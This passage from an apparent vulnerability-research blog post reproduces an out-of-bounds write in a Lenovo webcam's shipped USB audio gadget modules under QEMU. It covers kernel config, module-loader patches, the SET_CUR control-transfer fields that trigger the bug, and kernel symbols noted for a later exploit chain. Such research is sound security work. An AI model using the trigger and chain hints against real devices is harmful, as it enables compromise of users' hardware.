&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;unchanged&lt;/td&gt;
&lt;td&gt;no; this is the length Volume should have&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 through 316 (tested 3, 4, 5, 8, 12, 16, 18, 20, 24, 32, 64, 316)&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;unchanged&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Only the 2-byte case is kept, and it uses a fixed-length read, with no &lt;code&gt;memcpy&lt;/code&gt;. Every other length goes into &lt;code&gt;usb_ep_set_halt&lt;/code&gt;. Saved registers stay as they were, and execution does not branch to an attacker-controlled address.&lt;/p&gt;

&lt;h2&gt;
  
  
  Running it in a full system
&lt;/h2&gt;

&lt;p&gt;The slice only shows that the shipping instructions themselves write out of bounds. Next I wanted an unmodified &lt;code&gt;.ko&lt;/code&gt; inside a real 4.9.84, and then a USB control transfer that reaches &lt;code&gt;f_audio_complete&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The shipping module's vermagic is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;4.9.84 SMP preempt mod_unload ARMv7 thumb2 p2v8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is a trailing space. The kernel counts that space when it compares. &lt;code&gt;sizeof(struct module)&lt;/code&gt; has to be &lt;code&gt;0x200&lt;/code&gt;, the same length as &lt;code&gt;.gnu.linkonce.this_module&lt;/code&gt; in the module. The module is Thumb-2, and the &lt;code&gt;BL&lt;/code&gt; relocation is &lt;code&gt;R_ARM_THM_CALL&lt;/code&gt; (type 10). The 4.9 module loader keeps that case inside &lt;code&gt;CONFIG_THUMB2_KERNEL&lt;/code&gt;. An ARM kernel reports &lt;code&gt;unknown relocation: 10&lt;/code&gt; immediately. The kernel therefore has to be built Thumb-2. Switching the instruction set to ARM just so it boots does not work.&lt;/p&gt;

&lt;p&gt;The kernel was built against these options:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="na"&gt;CONFIG_SMP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_PREEMPT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_THUMB2_KERNEL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_ARM_PATCH_PHYS_VIRT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="c1"&gt;# CONFIG_ARM_MODULE_PLTS is not set
# CONFIG_MODVERSIONS is not set
&lt;/span&gt;&lt;span class="na"&gt;CONFIG_MODULE_FORCE_LOAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_CC_STACKPROTECTOR_REGULAR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_DEBUG_SPINLOCK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_CONFIGFS_FS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_SND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_SND_PCM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_USB&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_USB_GADGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_USB_DUMMY_HCD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_SERIAL_AMBA_PL011&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_SERIAL_AMBA_PL011_CONSOLE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_DEVTMPFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_KALLSYMS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_KALLSYMS_ALL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;MODVERSIONS&lt;/code&gt; has to be off. The shipping modules have no &lt;code&gt;__versions&lt;/code&gt; section. &lt;code&gt;ARM_MODULE_PLTS&lt;/code&gt; has to be off. The shipping modules have no PLT section, and turning it on reports &lt;code&gt;module PLT section(s) missing&lt;/code&gt;. &lt;code&gt;STACKPROTECTOR&lt;/code&gt; and &lt;code&gt;DEBUG_SPINLOCK&lt;/code&gt; are on because the modules reference &lt;code&gt;__stack_chk_guard&lt;/code&gt;, &lt;code&gt;__stack_chk_fail&lt;/code&gt;, and &lt;code&gt;__raw_spin_lock_init&lt;/code&gt;. The vendor kernel had both of those on when it built the modules. &lt;code&gt;dummy_hcd&lt;/code&gt; lets one virtual machine act as USB host and USB device at the same time.&lt;/p&gt;

&lt;p&gt;Built with that config, a module from this tree has a vermagic string identical to the shipping string, character for character, and &lt;code&gt;struct module&lt;/code&gt; is &lt;code&gt;0x200&lt;/code&gt;. The shipping &lt;code&gt;libcomposite.ko&lt;/code&gt;, &lt;code&gt;u_audio.ko&lt;/code&gt;, and &lt;code&gt;usb_f_uac1.ko&lt;/code&gt; have 103 undefined symbols between them. The kernel and the three modules resolve one another.&lt;/p&gt;

&lt;p&gt;Building 4.9.84 as Thumb-2 with a new toolchain, the run of &lt;code&gt;msr cpsr&lt;/code&gt; inside &lt;code&gt;cpu_init&lt;/code&gt; fetches from address 0 after the switch to FIQ. We replaced the instructions that set the per-mode stacks with a short function in ARM state. The logic is unchanged: set the stack pointer for IRQ, Abort, Undefined, and FIQ, then return to SVC. After that change the kernel boots.&lt;/p&gt;

&lt;p&gt;QEMU uses the &lt;code&gt;virt&lt;/code&gt; machine. &lt;code&gt;vexpress-a15&lt;/code&gt; does not provide a device tree to a 4.9 kernel, so the serial port never comes up. The command that was actually used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;qemu-system-arm \
  -M virt,secure=off,highmem=off \
  -cpu cortex-a15 -m 512M \
  -kernel zImage \
  -initrd initramfs.cpio.gz \
  -append &lt;span class="s2"&gt;"console=ttyAMA0 rdinit=/init loglevel=7"&lt;/span&gt; \
  -display none -audio none \
  -serial file:console.log \
  -no-reboot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;secure=off&lt;/code&gt; is there because the CPU otherwise stops in EL3, and a mode switch then takes a prefetch abort. &lt;code&gt;highmem=off&lt;/code&gt; is there because this kernel uses a 2G/2G virtual split, so RAM has to sit in the low 2GB. &lt;code&gt;virt&lt;/code&gt; accepts only &lt;code&gt;cortex-a7&lt;/code&gt;, &lt;code&gt;cortex-a15&lt;/code&gt;, and &lt;code&gt;max&lt;/code&gt;. Serial output goes to a file. Pointed at standard output, it often shows nothing. &lt;code&gt;-audio none&lt;/code&gt; skips the init failure when the host has no sound card.&lt;/p&gt;

&lt;p&gt;The distro QEMU is 10.2.1. Another build was made from the 10.0.0 sources, with only &lt;code&gt;arm-softmmu&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tar xf qemu-10.0.0.tar.xz
&lt;span class="nb"&gt;cd&lt;/span&gt; qemu-10.0.0
./configure --target-list=arm-softmmu --disable-docs --disable-tools --disable-werror
ninja -C build qemu-system-arm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both versions, and all three CPUs, fail to bring user mode up in the same way.&lt;/p&gt;

&lt;p&gt;Inside the guest the factory boot order is used. The only change is that the modules are the three whose vermagic already matches. No module written for this experiment was inserted into the kernel. init does the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs dev /dev
mkdir -p /sys/kernel/config
mount -t configfs none /sys/kernel/config

insmod /opt/shipped/libcomposite.ko
insmod /opt/shipped/u_audio.ko
insmod /opt/shipped/usb_f_uac1.ko

&lt;span class="nv"&gt;G&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/sys/kernel/config/usb_gadget/webcam
mkdir -p &lt;span class="nv"&gt;$G&lt;/span&gt;/strings/0x409
&lt;span class="nb"&gt;echo&lt;/span&gt; 0x17ef &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$G&lt;/span&gt;/idVendor
&lt;span class="nb"&gt;echo&lt;/span&gt; 0x4839 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$G&lt;/span&gt;/idProduct
&lt;span class="nb"&gt;echo&lt;/span&gt; 0x0200 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$G&lt;/span&gt;/bcdUSB
&lt;span class="nb"&gt;echo&lt;/span&gt; Lenovo &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$G&lt;/span&gt;/strings/0x409/manufacturer
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"510 FHD Webcam"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$G&lt;/span&gt;/strings/0x409/product
mkdir -p &lt;span class="nv"&gt;$G&lt;/span&gt;/configs/c.1/strings/0x409
&lt;span class="nb"&gt;echo&lt;/span&gt; UAC1 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$G&lt;/span&gt;/configs/c.1/strings/0x409/configuration
mkdir -p &lt;span class="nv"&gt;$G&lt;/span&gt;/functions/uac1.usb0
ln -s &lt;span class="nv"&gt;$G&lt;/span&gt;/functions/uac1.usb0 &lt;span class="nv"&gt;$G&lt;/span&gt;/configs/c.1/
&lt;span class="nb"&gt;echo&lt;/span&gt; dummy_udc.0 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$G&lt;/span&gt;/UDC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malicious request goes through usbfs &lt;code&gt;USBDEVFS_SUBMITURB&lt;/code&gt;, endpoint 0, a control transfer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;bmRequestType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x21&lt;/span&gt;     &lt;span class="no"&gt;OUT&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="no"&gt;CLASS&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="no"&gt;INTERFACE&lt;/span&gt;
&lt;span class="n"&gt;bRequest&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x01&lt;/span&gt;     &lt;span class="no"&gt;SET_CUR&lt;/span&gt;
&lt;span class="n"&gt;wValue&lt;/span&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0200&lt;/span&gt;   &lt;span class="nc"&gt;Volume&lt;/span&gt;
&lt;span class="n"&gt;wIndex&lt;/span&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0504&lt;/span&gt;   &lt;span class="n"&gt;interface&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;entity&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="n"&gt;wLength&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="n"&gt;supplied&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The data stage follows the 8-byte setup packet. &lt;code&gt;dummy_hcd&lt;/code&gt; carries that packet from the host side into the gadget.&lt;/p&gt;

&lt;p&gt;The serial log of this boot shows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Linux version 4.9.84 ... #5 SMP PREEMPT ...
...
dummy_hcd ...
Freeing unused kernel memory: 1024K
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The kernel finished initializing, and the host controller is present. After that there is no bind record for &lt;code&gt;dummy_udc&lt;/code&gt;, and there is no &lt;code&gt;SET_CUR&lt;/code&gt; or &lt;code&gt;f_audio_complete&lt;/code&gt;. The process dies on the first return from &lt;code&gt;brk&lt;/code&gt; into user mode:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Unhandled prefetch abort: unknown 1 (0x001) at 0x801062e2
Internal error: : 1 [#1] PREEMPT SMP THUMB2
CPU: 0 PID: 519 Comm: modprobe
PC is at ret_fast_syscall+0x2/0x5e
LR is at SyS_brk+0x105/0x11c
Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM
Modules linked in:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The line says &lt;code&gt;ISA ARM&lt;/code&gt;, but this path is Thumb code in a Thumb-2 kernel. The CPU reads halfwords such as &lt;code&gt;f8d9 1000&lt;/code&gt; with the ARM decoder and reports an undefined instruction. &lt;code&gt;Modules linked in&lt;/code&gt; is empty. No shipping module was running yet.&lt;/p&gt;

&lt;p&gt;Over the same interval, QEMU's interrupt log counted 2473 IRQs, 12 prefetch aborts, and 2508 exceptions in total. User mode never went further, so the gadget was never configured.&lt;/p&gt;

&lt;p&gt;Two other things turned up during boot. They are separate from this failure. After &lt;code&gt;cpu_init&lt;/code&gt; switched to FIQ, instruction fetch failed. Once the stacks were set from ARM state, the kernel could reach &lt;code&gt;Freeing unused kernel memory&lt;/code&gt;. In &lt;code&gt;dummy_hcd&lt;/code&gt;, &lt;code&gt;mod_timer(..., jiffies)&lt;/code&gt; floods interrupts under slow emulation. Stretching the re-arm interval to 5 to 10 jiffies dropped the IRQ count from nearly ten thousand to the number above. User mode still could not return. The Thumb encoding of &lt;code&gt;cpsid&lt;/code&gt; also clears the T bit when it writes CPSR, the same class of behavior as the &lt;code&gt;ret_fast_syscall&lt;/code&gt; site.&lt;/p&gt;

&lt;p&gt;A Thumb-2 kernel that brings user mode up on its own still has to handle this return. We stopped changing that path and used an ARM kernel to load the shipping modules.&lt;/p&gt;

&lt;h3&gt;
  
  
  Loading Thumb modules with an ARM kernel
&lt;/h3&gt;

&lt;p&gt;The shipping modules are Thumb-2, and every call they make into the kernel uses &lt;code&gt;R_ARM_THM_CALL&lt;/code&gt;. 4.9 keeps that relocation under &lt;code&gt;CONFIG_THUMB2_KERNEL&lt;/code&gt;. An ARM kernel reports &lt;code&gt;unknown relocation: 10&lt;/code&gt; straight away. Once that branch is filled in, two problems remain. A Thumb &lt;code&gt;BL&lt;/code&gt; can land only on a Thumb address, and it cannot reach far.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CONFIG_PAGE_OFFSET = 0x80000000, VMSPLIT_2G
module area        = PAGE_OFFSET - 16MB = 0x7f000000
memcpy             = 0x8036a040
distance           = about 20MB
Thumb BL range     = ±16MB
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The workaround is an 8-byte veneer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight armasm"&gt;&lt;code&gt;&lt;span class="k"&gt;ldr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="n"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#0]      @ f8df f000&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;word&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;            @ &lt;span class="n"&gt;absolute&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ldr.w pc&lt;/code&gt; looks at the low bit of the target. 0 enters ARM state. 1 enters Thumb state. Checked once on its own:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;arm_target   = 0x10354  bit0=0
thumb_veneer = 0x1035d  bit0=1
thumb_caller(1) = 101
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The instructions are these two:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight armasm"&gt;&lt;code&gt;&lt;span class="mi"&gt;0001035c&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;thumb_veneer&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;:&lt;/span&gt;
   &lt;span class="mi"&gt;1035c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;f8df&lt;/span&gt; &lt;span class="n"&gt;f000&lt;/span&gt;   &lt;span class="k"&gt;ldr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;   &lt;span class="n"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
   &lt;span class="mi"&gt;10360&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;00010354&lt;/span&gt;    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;word&lt;/span&gt;   &lt;span class="mh"&gt;0x00010354&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three places in the module loader changed. The first moves &lt;code&gt;R_ARM_THM_CALL&lt;/code&gt; / &lt;code&gt;R_ARM_THM_JUMP24&lt;/code&gt; out of &lt;code&gt;CONFIG_THUMB2_KERNEL&lt;/code&gt;, and it no longer rejects a target that is not a Thumb address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        case R_ARM_THM_CALL:
        case R_ARM_THM_JUMP24:
            /*
             * Shipping modules are Thumb-2. Their BL uses R_ARM_THM_CALL.
             * In an ARM kernel this case used to be left uncompiled, and
             * the module failed immediately with unknown relocation: 10.
             *
             * A Thumb BL can reach only a Thumb target, so every
             * Thumb-to-ARM call has to go through a veneer.
             * Even when the target is Thumb, the distance from the
             * module area to the kernel .text can exceed the signed
             * 25-bit range.
             */
            upper = __mem_to_opcode_thumb16(*(u16 *)loc);
            lower = __mem_to_opcode_thumb16(*(u16 *)(loc + 2));
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second, after the offset has been computed: if the target is an ARM function, or the distance is outside a Thumb &lt;code&gt;BL&lt;/code&gt;, branch to the veneer instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;            if ((!(sym-&amp;gt;st_value &amp;amp; 1) &amp;amp;&amp;amp;
                 ELF32_ST_TYPE(sym-&amp;gt;st_info) == STT_FUNC) ||
                offset &amp;lt;= (s32)0xff000000 ||
                offset &amp;gt;= (s32)0x01000000) {
                unsigned long veneer =
                    thumb_veneer_get(offset + loc + 4);

                if (!veneer) {
                    pr_err("%s: section %u reloc %u sym '%s': cannot allocate Thumb veneer\n",
                           module-&amp;gt;name, relindex, i, symname);
                    return -ENOEXEC;
                }
                /* BL branches to the veneer; the veneer branches to the real target */
                offset = (s32)(veneer &amp;amp; ~1UL) - loc - 4;
            }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The third is the veneer pool. The pool sits in the module area, no more than 16MB from the module code, so &lt;code&gt;BL&lt;/code&gt; can reach it. The returned address has bit0 set, and &lt;code&gt;BL&lt;/code&gt; enters the stub in Thumb state:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;static unsigned long thumb_veneer_get(unsigned long target)
{
    u32 *p;
    unsigned long addr;

    if (!veneer_pool.base) {
        veneer_pool.cap = THUMB_VENEER_SIZE * THUMB_VENEER_MAX;
        veneer_pool.base = module_alloc(veneer_pool.cap);
        if (!veneer_pool.base)
            return 0;
        veneer_pool.used = 0;
    }

    if (veneer_pool.used + THUMB_VENEER_SIZE &amp;gt; veneer_pool.cap)
        return 0;

    p = (u32 *)((char *)veneer_pool.base + veneer_pool.used);
    /* ldr.w pc, [pc, #0]: PC currently points at this instruction + 4, the literal */
    p[0] = __opcode_to_mem_thumb32(0xf8dff000);
    p[1] = target;

    addr = (unsigned long)p;
    veneer_pool.used += THUMB_VENEER_SIZE;

    flush_icache_range(addr, addr + THUMB_VENEER_SIZE);

    /* Return the address with bit0 set, so BL enters the veneer in Thumb state */
    return addr | 1;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;get_module_plt&lt;/code&gt; on the ARM path exists only when &lt;code&gt;CONFIG_ARM_MODULE_PLTS=y&lt;/code&gt;. The call site is wrapped in &lt;code&gt;#ifdef&lt;/code&gt;. Otherwise the link fails.&lt;/p&gt;

&lt;p&gt;After the rebuild, all three modules loaded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== loading shipping modules ===
  libcomposite ok
  u_audio ok
  usb_f_uac1 ok
usb_f_uac1 8186 0 [permanent], Live 0x7f017000
u_audio 4607 1 usb_f_uac1, Live 0x7f012000
libcomposite 29074 2 usb_f_uac1,u_audio,[permanent], Live 0x7f000000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;.text&lt;/code&gt; landed in the expected module area:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== module section addresses ===
--- libcomposite
0x7f000000          &amp;lt;- .text
0x7f0047dc          &amp;lt;- .data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;dummy_udc.0&lt;/code&gt; is present as well. Two symbols from this kernel, recorded because a later chain would have needed them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;call_usermodehelper      801317ac T call_usermodehelper
poweroff_cmd             80a0b25c D poweroff_cmd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The kernel booted, user mode is running, &lt;code&gt;insmod&lt;/code&gt; returned 0 for all three modules, and there was no relocation error. Before this, the shipping modules had never loaded successfully inside a real kernel.&lt;/p&gt;

&lt;h3&gt;
  
  
  Assembling the gadget stops in ALSA
&lt;/h3&gt;

&lt;p&gt;After the load, the gadget is assembled in the factory order:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mount -t configfs none /sys/kernel/config
insmod libcomposite.ko
insmod u_audio.ko
insmod usb_f_uac1.ko

&lt;span class="nv"&gt;G&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/sys/kernel/config/usb_gadget/webcam
mkdir -p &lt;span class="nv"&gt;$G&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; 0x17ef &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$G&lt;/span&gt;/idVendor
&lt;span class="nb"&gt;echo&lt;/span&gt; 0x4839 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$G&lt;/span&gt;/idProduct
mkdir -p &lt;span class="nv"&gt;$G&lt;/span&gt;/functions/uac1.usb0
ln -s &lt;span class="nv"&gt;$G&lt;/span&gt;/functions/uac1.usb0 &lt;span class="nv"&gt;$G&lt;/span&gt;/configs/c.1/
&lt;span class="nb"&gt;echo&lt;/span&gt; dummy_udc.0 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$G&lt;/span&gt;/UDC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The moment the UDC is written, the kernel crashes in &lt;code&gt;g_audio_setup&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Unhandled fault: page domain fault (0x01b) at 0x00000144
Internal error: : 1b [#1] PREEMPT SMP ARM
Modules linked in: usb_f_uac1 u_audio libcomposite
PC is at g_audio_setup+0x17d/0x1ef [u_audio]
LR is at 0x65676461
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;LR&lt;/code&gt; holds &lt;code&gt;0x65676461&lt;/code&gt;, which is the ASCII string &lt;code&gt;"aade"&lt;/code&gt;. It looks like a string was taken as a return address. The crash site is &lt;code&gt;g_audio_setup+0x17d&lt;/code&gt; in &lt;code&gt;u_audio.ko&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight armasm"&gt;&lt;code&gt; &lt;span class="mi"&gt;810&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;f8d0&lt;/span&gt; &lt;span class="mi"&gt;33c4&lt;/span&gt;   &lt;span class="k"&gt;ldr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;   &lt;span class="n"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#964]  @ 0x3c4&lt;/span&gt;
 &lt;span class="mi"&gt;814&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;3044&lt;/span&gt;        &lt;span class="n"&gt;adds&lt;/span&gt;    &lt;span class="n"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#68 @ 0x44&lt;/span&gt;
